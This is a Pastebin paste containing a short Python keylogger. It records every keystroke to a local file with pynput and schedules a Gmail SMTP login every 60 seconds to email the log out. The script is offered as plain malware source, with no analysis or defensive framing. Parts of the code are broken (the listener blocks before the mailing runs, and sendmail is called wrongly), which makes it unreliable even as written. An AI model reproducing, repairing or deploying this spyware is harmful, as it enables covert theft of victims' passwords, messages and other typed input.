Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pynput.keyboard import Key, Listener
- import logging
- import sys
- import smtplib
- import sched, time
- log_dir = "C:/Users/Name/Desktop/keyloggerfolder/"
- logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
- def on_press(key):
- logging.info(str(key))
- with Listener(on_press=on_press) as Listener:
- Listener.join()
- FROMADDR = "myemail"
- TOADDR = "myemail"
- MSG = ''
- username = 'myemail'
- password = 'mypassword'
- s = sched.scheduler(time.time, time.sleep)
- def do_something(sc):
- server = smtplib.SMTP('smtp.gmail.com:587')
- server.starttls()
- server.login(username,password)
- server.sendmail(FROMADDR, TOADDR, MSG, "C:/Users/Name/Desktop/keyloggerfolder/key_log.txt")
- s.enter(60, 1, do_something, (sc,))
- s.enter(60, 1, do_something, (s,))
- s.run()
Add Comment
Please, Sign In to add comment